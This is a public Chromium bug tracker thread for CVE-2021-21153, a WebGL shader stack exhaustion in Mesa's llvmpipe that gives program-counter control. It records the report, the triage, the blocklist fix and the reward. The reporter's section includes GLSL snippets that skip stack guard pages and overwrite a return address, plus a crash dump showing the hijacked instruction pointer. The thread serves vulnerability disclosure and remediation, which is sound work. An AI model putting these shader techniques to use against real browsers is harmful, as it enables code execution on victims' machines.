☆ Starred by 4 users

Owner:	kainino@chromium.org
CC:	behdadb@chromium.org kbr@chromium.org kainino@chromium.org frkoenig@chromium.org zmo@google.com wfh@chromium.org
Status:	Fixed *(Closed)*
Components:	Internals>GPU>Internals Blink>WebGL
Modified:	Sep 22, 2021
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	2021-01-28
OS:	Linux
Pri:	1
Type:	Bug-Security

Hotlist-Merge-Review
Reward-1000
Needs-Feedback
Security_Impact-Stable
Security_Severity-High
allpublic
reward-inprocess
CVE_description-submitted
Target-88
Check-String-Translation
Target-87
M-88
LTS-Security-86
LTS-Security-NotApplicable-86
merge-merged-4324
merge-merged-88
external_security_report
merge-merged-4389
merge-merged-89
Release-3-M88
CVE-2021-21153

Blocking: ~~Issue 1170819~~

Issue 1155974: Security: WebGL Shader Stack Exhaustion leading to PC control in llvmpipe

Reported by jan.s...@gmail.com on Sun, Dec 6, 2020, 5:52 PM EST

Code

# WebGL Shader Stack Exhaustion leading to PC control in llvmpipe

There seem to be a stack exhaustion in ANGLE - Almost Native Graphics Layer Engine.
This triggers on the GPU or the CPU if llvmpipe is used.
# Poc

See `llvmpipe.ubuntu20.04.write.pc.html`. This has been on a Ubtuntu 20.04 in Virtual Box

~~~
```
Renderer: ANGLE (VMware, Inc., llvmpipe (LLVM 10.0.0, 256 bits), OpenGL 3.3 core)
Chromium Version: Chromium 87.0.4280.66 snap
Type of crash: gpu process

Crash State:

Thread 3 "llvmpipe-1" received signal SIGSEGV, Segmentation fault.
[Switching to LWP 2897]
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x1800000018
RCX: 0x7fd6624b0e5e (<pthread_barrier_wait+286>:   cmp    rax,0xfffffffffffff000)
RDX: 0x1
RSI: 0x80
RDI: 0x561839f96884 --> 0x4000003cc
RBP: 0x1900000019
RSP: 0x7fd644229a90 --> 0x434400004344 ('DC')
RIP: 0x434445464748 ('HGFEDC')
R8 : 0x3c9
R9 : 0x561839f96880 --> 0x3cc000003cf
R10: 0x0
R11: 0x282
R12: 0x1900000019
R13: 0x1900000019
R14: 0x1900000019
R15: 0x434445464748 ('HGFEDC')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x434445464748
[------------------------------------stack-------------------------------------]
0000| 0x7fd644229a90 --> 0x434400004344 ('DC')
0008| 0x7fd644229a98 --> 0x434400004344 ('DC')
0016| 0x7fd644229aa0 --> 0x1b0000001b
0024| 0x7fd644229aa8 --> 0x1b0000001b
0032| 0x7fd644229ab0 --> 0x1b0000001b
~~~

```
0040| 0x7fd644229ab8 --> 0x1b0000001b
0048| 0x7fd644229ac0 --> 0x1c0000001c
0056| 0x7fd644229ac8 --> 0x1c0000001c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000434445464748 in ?? ()
gdb-peda$ bt

```

# Bug

We can define arrays inside a shader and make them quite large.
Those are allocated on the stack, regardless of the stack size of the computing engine.
Therefore, we have a giant "sub $rsp, xxx" in the beginning of the shader function.

```
    precision mediump float;
    vec4 x[42000000]; //Allocate lots of memory
    int i;

    varying vec4 vColor;
    void main(void) {
        gl_FragColor = x[42]; //used so x is not optimized out
    }
```

The shader language has some important limitations:
 - Recursive shader functions are not allowed.
 - Array indices must be constant.
 - Small arrays (<16 elements or so) might be optimized out.
 - Functions, that are called once will be inlined
 - Everything, that is not needed is optimized out.

Shaderlanguage is defined [here](https://www.khronos.org/registry/OpenGL/specs/gl/GLSLangSpec.4.10.pdf)

# llvmpipe

The LLVM Pipe driver is used on Linux if no graphics card is available and is part of mesa.
TLDR: We have PC control but no leak

Each core has its own thread for executing shaders.
Triggereing the bug here allows us to jump into the stack frame of the next process.
Stacks are separated with guard pages, a 4096 byte region, that is not readable, writable or executable.
Those can be skipped usig the following code:

```
int x[0x00080];
void main(void) {
  gl_FragColor = vec4(float(x[0]); //required so x is not optimzed out

  // Here we allocate memory, without writing to it
  if (int(x[0]) == 42) {
    int pad[0x40000];
    gl_FragColor += vec4(float(pad[42]));
  }
}
```

This will translate to the following code:

```
void initGlobals();
varying mediump float webgl_51cdbba1f77a8b72;
mediump int webgl_4fc82888d13de398[128];
void main(){
    initGlobals();
    (gl_FragColor = vec4(float(webgl_4fc82888d13de398[0])));

    if ((int(webgl_4fc82888d13de398[0]) == 42)) {
        mediump int webgl_b84b23e845ea3eb[262144];
        for (highp int s920 = 0; (s920 < 262144); (++s920)) {
            (webgl_b84b23e845ea3eb[s920] = 0);
        }
        (gl_FragColor += vec4(float(webgl_b84b23e845ea3eb[42])));
    }
}
void initGlobals(){
    for (highp int s91e = 0; (s91e < 128); (++s91e)) {
        (webgl_4fc82888d13de398[s91e] = 0);
    }
}

```

Not that pad is declared and initialized within the consequent of the if statement.
As the expression is always false, the initialization is never executed.
However the stack frame is allocated on function entry and not modified within a code block.
Therefore, we can allocate memory without writing to it and skip guard pages.

By tuning the offsets, we an directly overwrite the return address of a llvmpipe thread.
One thing to note is, that 8 pixels are computed per thread.
Therefore allocates each 32-bit int 32 bytes in memory.
To control the upper and lower half of a 64-bit address, we have to put different values insinde the array for two pixels.
One way to accomplish this is to use varying variables.

```
varying float floatVar;
```

```
[...]
    if(floatVar > 0.)
      x[0x1a] = 0x4344;
    else
      x[0x1a] = 0x45464748;

```

There are no stack-canaries within the llvmpipe threads

# Leak

I do not see a trivial way to convert this bug into a leak right now.
As we want to leak pointers, we also have the chance of overwriting them, resulting in a crash.
This makes exploitation possibly unreliable.

llvmpipe.ubuntu20.04.write.pc.html
4.5 KB View Download

Comment 1 by sheriffbot on Sun, Dec 6, 2020, 5:56 PM EST Project Member

Labels: reward-potential

Comment 2 by est...@chromium.org on Mon, Dec 7, 2020, 12:34 AM EST Project Member

~~Issue 1155975~~ has been merged into this issue.

Comment 3 by jan.s...@gmail.com on Mon, Dec 7, 2020, 2:18 PM EST

Not realy relevant for this bug, but the report should come from the @ernw address as it was the result of paid research. I've messed up my accounts somehow.

sorry for the inconvenience

Comment 4 by ClusterFuzz on Mon, Dec 7, 2020, 8:47 PM EST Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5721355963400192.

Comment 5 by jan.s...@gmail.com on Tue, Dec 8, 2020, 10:09 AM EST

Hi,
I saw that clusterfuzz failed to reproduce the testcase. It seems that swift shader is used instead of llvmpipe due to the added option ``--use-gl=angle --use-angle=swiftshader``. The google swift shader is not affected and the compilation of the buggy shader is fails with ``Array size of (xxx) exceeds limit of gl_MaxFragmentUniformVectors(261)``. The msan build still uses Swift and not llvmpipe per default even with with ``--use-gl=angle --use-angle=llvmpipe``. chrome://gpu still says ``Google Swift Shader`` as ``GL_Renderer`` and not ``Angle (xxx)``.

An other common ground I could identify is:
Affected: GL_VERSION = OpenGL ES x.y.z
Not Affected: GL_VERSION = OpenGL ES x.y.z SwiftShader a.b.c

On a Pixel4 with Android 11 the shader also compiles indicating a missing check. However the bug triggers on the GPU leading to strange behavior (In some cases system UI freeze/crash) and no PC control.

If this bug is not within the chrome project and can pinpoint the affected project please let me know.

[1] https://www.googleapis.com/download/storage/v1/b/chromium-browser-msan/o/linux-release%2Fmsan-chained-origins-linux-release-834666.zip?generation=1607429425401070&alt=media

Comment 6 by wfh@chromium.org on Tue, Dec 8, 2020, 6:00 PM EST Project Member

Components: Blink>WebGL

Hi Jan, do you know command line options we could use to force the use of llvmpipe on clusterfuzz? How widespread is llvmpipe use on systems that run Chrome?

Comment 7 by wfh@chromium.org on Tue, Dec 8, 2020, 6:01 PM EST Project Member

Cc: kainino@chromium.org

Comment 8 by kainino@chromium.org on Tue, Dec 8, 2020, 6:10 PM EST Project Member

Any system with Mesa (i.e. pretty much all Linux systems) should have llvmpipe available as a fallback. A quick search shows that the way to do this nowadays is to set:

LIBGL_ALWAYS_SOFTWARE=1
GALLIUM_DRIVER=llvmpipe

https://docs.mesa3d.org/envvars.html
(I seem to remember it used to be a bit harder, had to set some LD variables, but that probably isn't necessary anymore.)

In Chromium you might also need --ignore-gpu-blocklist if Chromium blocklists llvmpipe. I'm not sure whether we do - on a cursory inspection, I only see an entry for a very old version of Mesa, so we may not blocklist it.
https://source.chromium.org/chromium/chromium/src/+/master:gpu/config/software_rendering_list.json

Comment 9 by kainino@chromium.org on Tue, Dec 8, 2020, 6:12 PM EST Project Member

> The msan build still uses Swift and not llvmpipe per default even with with ``--use-gl=angle --use-angle=llvmpipe``. chrome://gpu still says ``Google Swift Shader`` as ``GL_Renderer`` and not ``Angle (xxx)``.

llvmpipe is not an ANGLE backend, so you can't do --use-angle=llvmpipe. llvmpipe is part of Mesa, which is system software.

Comment 10 by kainino@chromium.org on Tue, Dec 8, 2020, 6:25 PM EST Project Member

Cc: behdadb@chromium.org

> How widespread is llvmpipe use on systems that run Chrome?

Unfortunately I don't know the answer to this. We have a dashboard but I believe it doesn't cover Linux, which means we won't see it there. But we must have the data somewhere.
go/uma-gpu-stats
(Note the 0.06% of users on that dashboard with Vendor=VMware are prooobably using Windows in VMware virtual machines (I worked on that driver at VMware!), not llvmpipe which also has Vendor=VMware.)

+behdadb for that dashboard.

Comment 11 by wfh@chromium.org on Wed, Dec 9, 2020, 4:22 PM EST Project Member

Hi reporter, it seems this might be an issue with mesa3d, I wonder if you could go ahead and report the bug with them via https://docs.mesa3d.org/bugs.html then link it here. As part of the Chromium VRP we are happy to pay for bugs in components we depend on, but it would require the upstream to fix it.

Comment 12 by wfh@chromium.org on Thu, Dec 10, 2020, 3:08 PM EST Project Member

Labels: Needs-Feedback

Comment 13 by jan.s...@gmail.com on Mon, Dec 14, 2020, 6:49 AM EST

Sorry for the delay, reported as [1] (non-public).

[1] https://gitlab.freedesktop.org/mesa/mesa/-/issues/3976

Comment 14 by ajgo@google.com on Wed, Dec 23, 2020, 7:44 PM EST Project Member

Status: ExternalDependency (was: Unconfirmed)
Owner: kainino@chromium.org
Labels: Security_Severity-High Security_Impact-Stable OS-Linux

Setting tags/status. Feel free to suggest mesa people we can CC into this bug.

Setting kainino as owner as we like security bugs to have owners. Reassign to someone else if this makes sense.

Comment 15 by sheriffbot on Thu, Dec 24, 2020, 12:42 PM EST Project Member

Labels: reward-topanel

Comment 16 by sheriffbot on Thu, Dec 24, 2020, 12:47 PM EST Project Member

Labels: M-87 Target-87

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 17 by sheriffbot on Thu, Dec 24, 2020, 1:27 PM EST Project Member

Labels: -Pri-3 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 18 by kainino@chromium.org on Tue, Jan 5, 2021, 2:10 PM EST Project Member

Cc: kbr@chromium.org wfh@chromium.org

kbr: Do you think we should add llvmpipe to our software rendering list if it's not already there? I would have thought we already blocked llvmpipe since I think we block other software renderers (and rely on our own software paths + swiftshader). That would resolve this issue on chrome's side without blocking on a Mesa fix.

Comment 19 by kbr@chromium.org on Tue, Jan 5, 2021, 3:54 PM EST Project Member

Status: Assigned (was: ExternalDependency)
Cc: zmo@google.com
Components: Internals>GPU>Internals

Yes, we should consider blocklisting llvmpipe again. We can do so for WebGL only.

Is it known whether this is a recent regression in Mesa that would imply a more narrow blocklist entry?

Submitter: please file a bug upstream against Mesa, because otherwise this will basically never be fixed.

Comment 20 by jan.s...@gmail.com on Wed, Jan 6, 2021, 4:29 PM EST

I've filed a bug at the Mesa project as you suggested three weeks ago (Non Public: https://gitlab.freedesktop.org/mesa/mesa/-/issues/3976)

@ajgo asked the Mesa team to add access for current Owner and CC List to the Issue. Exccept for a llvmpipe Tag, nothing really happen there.

Comment 21 by kainino@chromium.org on Wed, Jan 6, 2021, 5:25 PM EST Project Member

> Is it known whether this is a recent regression in Mesa that would imply a more narrow blocklist entry?

Do we want a more narrow blocklist entry? I thought we would prefer to rely on our own (domain specific, so hopefully more efficient) software paths, at least for everything other than WebGL. And for WebGL, SwiftShader avoids unknown factors like llvmpipe (or swrast?)

Comment 22 by kbr@chromium.org on Wed, Jan 6, 2021, 5:42 PM EST Project Member

Cc: frkoenig@chromium.org

Fair points. Could you put up the broad blocklist CL and let's review it?

One note - searching the bug database for llvmpipe related bugs:
https://bugs.chromium.org/p/chromium/issues/list?q=llvmpipe&can=1

a broad blocklist may impact ChromeOS testing at least - see ~~Issue 955108~~. +frkoenig

Comment 23 by sheriffbot on Thu, Jan 14, 2021, 4:22 PM EST Project Member

Labels: external_security_report

Comment 24 by sheriffbot on Wed, Jan 20, 2021, 12:21 PM EST Project Member

Labels: -M-87 Target-88 M-88

Comment 25 by adetaylor@google.com on Wed, Jan 20, 2021, 7:01 PM EST Project Member

Labels: -reward-potential

Comment 26 by sheriffbot on Thu, Jan 21, 2021, 12:21 PM EST Project Member

kainino: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 27 by bugdroid on Fri, Jan 22, 2021, 7:52 PM EST Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/7c7eccfc85e387a0dcd154a2a9c2389177982837

commit 7c7eccfc85e387a0dcd154a2a9c2389177982837
Author: Kai Ninomiya <kainino@chromium.org>

Date: Sat Jan 23 00:52:10 2021

Disable GPU acceleration on all Mesa software rasterizers

The previous entry only disabled acceleration on swrast, but softpipe
and llvmpipe shouldn't be used for "GPU" acceleration either.
This should apply to Linux but not ChromeOS, AFAICT.

This only improves an existing software rendering list entry, but here
is the rationale: We prefer to rely on our own (domain specific, so more
efficient) software paths, at least for everything other than WebGL. And
for WebGL, SwiftShader avoids unknown factors like
llvmpipe/softpipe/swrast.

If you are running a Mesa GL driver (not e.g. NVIDIA) then you can force
these configurations with:
- LIBGL_ALWAYS_SOFTWARE=1
  https://docs.mesa3d.org/envvars.html#libgl-environment-variables:~:text=LIBGL_ALWAYS_SOFTWARE
- GALLIUM_DRIVER=llvmpipe, softpipe, or swr (though swr didn't work for me)
  https://docs.mesa3d.org/envvars.html#gallium-environment-variables:~:text=GALLIUM_DRIVER

The GL_RENDERER strings are:
- swrast: "Software Rasterizer" (couldn't test this locally; found this online)
- softpipe: "softpipe" (on one machine)
- llvmpipe: "llvmpipe (LLVM 10.0.0, 256 bits)" (on one machine)

Drive-by updates the description of another item to be more accurate
(SVGA3D is virtualized over hardware; it's not a software renderer).

~~Bug: 1155974~~
Change-Id: I0571c1a1bf526260f7ea6cd53f88eec768973b13
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2645491
Commit-Queue: Kai Ninomiya <kainino@chromium.org>
Reviewed-by: Zhenyao Mo <zmo@chromium.org>
Auto-Submit: Kai Ninomiya <kainino@chromium.org>
Cr-Commit-Position: refs/heads/master@{#846422}

[modify] https://crrev.com/7c7eccfc85e387a0dcd154a2a9c2389177982837/gpu/config/software_rendering_list.json

Comment 28 by kainino@chromium.org on Fri, Jan 22, 2021, 8:34 PM EST Project Member

Status: Fixed (was: Assigned)
NextAction: 2021-01-28

This should fix the issue. I'll verify in a few days that Chrome Dev is behaving correctly with llvmpipe or softpipe.
http://chromiumdash.appspot.com/commit/7c7eccfc85e387a0dcd154a2a9c2389177982837

Comment 29 by sheriffbot on Sun, Jan 24, 2021, 1:56 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 30 by sheriffbot on Sun, Jan 24, 2021, 2:16 PM EST Project Member

Labels: Merge-Request-88

Requesting merge to stable M88 because latest trunk commit (846422) appears to be after stable branch point (1784).

Requesting merge to beta M88 because latest trunk commit (846422) appears to be after beta branch point (1784).

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 31 by sheriffbot on Sun, Jan 24, 2021, 2:19 PM EST Project Member

Labels: -Merge-Request-88 Merge-Review-88 Hotlist-Merge-Review

This bug requires manual review: Request affecting a post-stable build
Before a merge request will be considered, the following information is required to be added to this bug:

1. Does your merge fit within the Merge Decision Guidelines?
- Chrome: https://chromium.googlesource.com/chromium/src.git/+/master/docs/process/merge_request.md#when-to-request-a-merge
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on ToT?
4. Does this change need to be merged into other active release branches (M-1, M+1)?
5. Why are these changes required in this milestone after branch?
6. Is this a new feature?
7. If it is a new feature, is it behind a flag using finch?

Chrome OS Only:
8. Was the change reviewed and approved by the Eng Prod Representative? See Eng Prod ownership by component: http://go/cros-engprodcomponents

Please contact the milestone owner if you have questions.
Owners: govind@(Android), bindusuvarna@(iOS), marinakz@(ChromeOS), srinivassista @(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 32 by adetaylor@google.com on Tue, Jan 26, 2021, 4:51 PM EST Project Member

Labels: Merge-Request-89

Landed after M89 branch point so adding merge request.

Comment 33 by sheriffbot on Tue, Jan 26, 2021, 4:55 PM EST Project Member

Labels: -Merge-Request-89 Merge-Review-89 Check-String-Translation

This bug requires manual review: There is .json file changes and we are only 34 days from stable. Please confirm this does not require string translation.
Before a merge request will be considered, the following information is required to be added to this bug:

1. Does your merge fit within the Merge Decision Guidelines?
- Chrome: https://chromium.googlesource.com/chromium/src.git/+/master/docs/process/merge_request.md#when-to-request-a-merge
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on ToT?
4. Does this change need to be merged into other active release branches (M-1, M+1)?
5. Why are these changes required in this milestone after branch?
6. Is this a new feature?
7. If it is a new feature, is it behind a flag using finch?

Chrome OS Only:
8. Was the change reviewed and approved by the Eng Prod Representative? See Eng Prod ownership by component: http://go/cros-engprodcomponents

Please contact the milestone owner if you have questions.
Owners: benmason@(Android), bindusuvarna@(iOS), geohsu@(ChromeOS), pbommana@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 34 by kainino@chromium.org on Tue, Jan 26, 2021, 7:10 PM EST Project Member

> 1. Does your merge fit within the Merge Decision Guidelines?
Yes, it only changes a hardware configuration blocklist.

> 2. Links to the CLs you are requesting to merge.
Original: https://chromium-review.googlesource.com/c/chromium/src/+/2645491
M88 cherry-pick: https://chromium-review.googlesource.com/c/chromium/src/+/2651183
M89 cherry-pick: https://chromium-review.googlesource.com/c/chromium/src/+/2650143

> 3. Has the change landed and been verified on ToT?
Not verified yet as it's Linux-only so has to wait for a Dev channel release.

> 4. Does this change need to be merged into other active release branches (M-1, M+1)?
Yes

> 5. Why are these changes required in this milestone after branch?
Blocks unnecessary usage of system's buggy software rendering implementation.

> 6. Is this a new feature?
No
> 7. If it is a new feature, is it behind a flag using finch?
N/A

Comment 35 by adetaylor@google.com on Tue, Jan 26, 2021, 8:16 PM EST Project Member

Labels: -Merge-Review-89 Merge-Approved-89

Approving merge to M89, branch 4389. Please go ahead and merge. We'll consider M88 merges (for the next stable refresh) in a couple of days to give maximum possible bake time before merging.

VRP panel: this is a workaround for a Mesa3D bug.

Comment 36 by kainino@chromium.org on Tue, Jan 26, 2021, 10:54 PM EST Project Member

Blocking: 1170819

Comment 37 by bugdroid on Wed, Jan 27, 2021, 12:35 AM EST Project Member

Labels: -merge-approved-89 merge-merged-89 merge-merged-4389

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/b2058f9f30cbc5e5249897fd432d1febc40a4d35

commit b2058f9f30cbc5e5249897fd432d1febc40a4d35
Author: Kai Ninomiya <kainino@chromium.org>
Date: Wed Jan 27 05:34:27 2021

Disable GPU acceleration on all Mesa software rasterizers

The previous entry only disabled acceleration on swrast, but softpipe
and llvmpipe shouldn't be used for "GPU" acceleration either.
This should apply to Linux but not ChromeOS, AFAICT.

This only improves an existing software rendering list entry, but here
is the rationale: We prefer to rely on our own (domain specific, so more
efficient) software paths, at least for everything other than WebGL. And
for WebGL, SwiftShader avoids unknown factors like
llvmpipe/softpipe/swrast.

If you are running a Mesa GL driver (not e.g. NVIDIA) then you can force
these configurations with:
- LIBGL_ALWAYS_SOFTWARE=1
https://docs.mesa3d.org/envvars.html#libgl-environment-variables:~:text=LIBGL_ALWAYS_SOFTWARE
- GALLIUM_DRIVER=llvmpipe, softpipe, or swr (though swr didn't work for me)
https://docs.mesa3d.org/envvars.html#gallium-environment-variables:~:text=GALLIUM_DRIVER

The GL_RENDERER strings are:
- swrast: "Software Rasterizer" (couldn't test this locally; found this online)
- softpipe: "softpipe" (on one machine)
- llvmpipe: "llvmpipe (LLVM 10.0.0, 256 bits)" (on one machine)

Drive-by updates the description of another item to be more accurate
(SVGA3D is virtualized over hardware; it's not a software renderer).

(cherry picked from commit 7c7eccfc85e387a0dcd154a2a9c2389177982837)

~~Bug: 1155974~~
Change-Id: I0571c1a1bf526260f7ea6cd53f88eec768973b13
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2645491
Commit-Queue: Kai Ninomiya <kainino@chromium.org>
Reviewed-by: Zhenyao Mo <zmo@chromium.org>
Auto-Submit: Kai Ninomiya <kainino@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#846422}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2650143
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/branch-heads/4389@{#304}
Cr-Branched-From: 9251c5db2b6d5a59fe4eac7aafa5fed37c139bb7-refs/heads/master@{#843830}

[modify] https://crrev.com/b2058f9f30cbc5e5249897fd432d1febc40a4d35/gpu/config/software_rendering_list.json

Comment 38 by adetaylor@google.com on Wed, Jan 27, 2021, 12:55 PM EST Project Member

Due to the fact that this is Linux-only so has to wait for a dev channel release (per #c34) I'm not going to approve this for merge to M88 yet.

Comment 39 by amyressler@google.com on Wed, Jan 27, 2021, 6:17 PM EST Project Member

Labels: -reward-topanel reward-unpaid reward-1000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 40 by amyressler@google.com on Wed, Jan 27, 2021, 6:52 PM EST Project Member

Congratulations, jan.s.ruge@! The VRP Panel has decided to reward you $1000 for this report. A member of our finance team should be getting in touch with you soon. Also, you mentioned above you meant to submit this report from another email address and would like to be credited via your @ernw(.de?) email address? Please confirm and let us know the full name or handle by which you would like to be credited.
Thank you again for your submission and bringing this issue to our attention!

Comment 41 by amyressler@google.com on Thu, Jan 28, 2021, 3:12 PM EST Project Member

Labels: -reward-unpaid reward-inprocess

Comment 42 by jan.s...@gmail.com on Tue, Feb 2, 2021, 5:17 AM EST

That are great news, thanks a lot!
Yes crediting should be performed via the @ernw.de address. My full name is "Jan Ruge" working at "ERNW GmbH".

Thanks and best, Jan

Comment 43 by kainino@chromium.org on Tue, Feb 2, 2021, 5:25 PM EST Project Member

Confirmed behavior looks good in 90.0.4400.8 (Official Build) dev (64-bit) by inspecting chrome://gpu with:

LIBGL_ALWAYS_SOFTWARE=1 GALLIUM_DRIVER=llvmpipe google-chrome-unstable
LIBGL_ALWAYS_SOFTWARE=1 GALLIUM_DRIVER=softpipe google-chrome-unstable
LIBGL_ALWAYS_SOFTWARE=1 GALLIUM_DRIVER=swr google-chrome-unstable
(it turns out swrast does work, it's just that glxgears, which I used to check the config, doesn't work with it)

All three configurations exit "GPU process due to errors during initialization" and fall back to SwiftShader as expected.

Comment 44 by kainino@chromium.org on Tue, Feb 2, 2021, 5:27 PM EST Project Member

(forgot to say, also tested google-chrome-stable with no flags and it still correctly used the system's GPU.)

Comment 45 by adetaylor@chromium.org on Wed, Feb 10, 2021, 4:35 PM EST Project Member

Labels: -Merge-Review-88 Merge-Approved-88

Approving merge to M88, branch 4324, assuming no problems have been reported against dev. Please merge before the end of Thursday PST so that this gets into next week's stable refresh.

Comment 46 by kainino@chromium.org on Wed, Feb 10, 2021, 7:38 PM EST Project Member

Blocking: 1176528

Comment 47 by bugdroid on Wed, Feb 10, 2021, 9:24 PM EST Project Member

Labels: -merge-approved-88 merge-merged-4324 merge-merged-88

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/62bda83979fb5cd663e86706ebf8ee05a28c91c9

commit 62bda83979fb5cd663e86706ebf8ee05a28c91c9
Author: Kai Ninomiya <kainino@chromium.org>
Date: Thu Feb 11 02:24:04 2021

Disable GPU acceleration on all Mesa software rasterizers

The previous entry only disabled acceleration on swrast, but softpipe
and llvmpipe shouldn't be used for "GPU" acceleration either.
This should apply to Linux but not ChromeOS, AFAICT.

This only improves an existing software rendering list entry, but here
is the rationale: We prefer to rely on our own (domain specific, so more
efficient) software paths, at least for everything other than WebGL. And
for WebGL, SwiftShader avoids unknown factors like
llvmpipe/softpipe/swrast.

If you are running a Mesa GL driver (not e.g. NVIDIA) then you can force
these configurations with:
- LIBGL_ALWAYS_SOFTWARE=1
  https://docs.mesa3d.org/envvars.html#libgl-environment-variables:~:text=LIBGL_ALWAYS_SOFTWARE
- GALLIUM_DRIVER=llvmpipe, softpipe, or swr (though swr didn't work for me)
  https://docs.mesa3d.org/envvars.html#gallium-environment-variables:~:text=GALLIUM_DRIVER

The GL_RENDERER strings are:
- swrast: "Software Rasterizer" (couldn't test this locally; found this online)
- softpipe: "softpipe" (on one machine)
- llvmpipe: "llvmpipe (LLVM 10.0.0, 256 bits)" (on one machine)

Drive-by updates the description of another item to be more accurate
(SVGA3D is virtualized over hardware; it's not a software renderer).

# Unrelated CQ failures on branch
(cherry picked from commit 7c7eccfc85e387a0dcd154a2a9c2389177982837)

No-Try: True
~~Bug: 1155974~~
Change-Id: I0571c1a1bf526260f7ea6cd53f88eec768973b13
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2645491
Commit-Queue: Kai Ninomiya <kainino@chromium.org>
Reviewed-by: Zhenyao Mo <zmo@chromium.org>
Auto-Submit: Kai Ninomiya <kainino@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#846422}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2651183
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/branch-heads/4324@{#2176}
Cr-Branched-From: c73b5a651d37a6c4d0b8e3262cc4015a5579c6c8-refs/heads/master@{#827102}

[modify] https://crrev.com/62bda83979fb5cd663e86706ebf8ee05a28c91c9/gpu/config/software_rendering_list.json

Comment 48 by adetaylor@google.com on Fri, Feb 12, 2021, 7:35 PM EST Project Member

Labels: Release-3-M88

Comment 49 by achuith@chromium.org on Thu, Feb 18, 2021, 8:59 PM EST Project Member

Labels: LTS-Security-NotApplicable-86

Not applicable to ChromeOS

Comment 50 by amyressler@google.com on Mon, Feb 22, 2021, 4:31 PM EST Project Member

Labels: CVE-2021-21153 CVE_description-missing

Comment 51 by amyressler@google.com on Mon, Feb 22, 2021, 4:33 PM EST Project Member

Labels: -CVE_description-missing CVE_description-submitted

Comment 52 by vsavu@google.com on Wed, Apr 28, 2021, 5:50 AM EDT Project Member

Labels: LTS-Security-86

Comment 53 by sheriffbot on Sat, May 1, 2021, 1:50 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 54 by kbr@chromium.org on Wed, Sep 22, 2021, 5:18 PM EDT Project Member

Blocking: 1252077

About Monorail User Guide Release Notes Feedback on Monorail Terms Privacy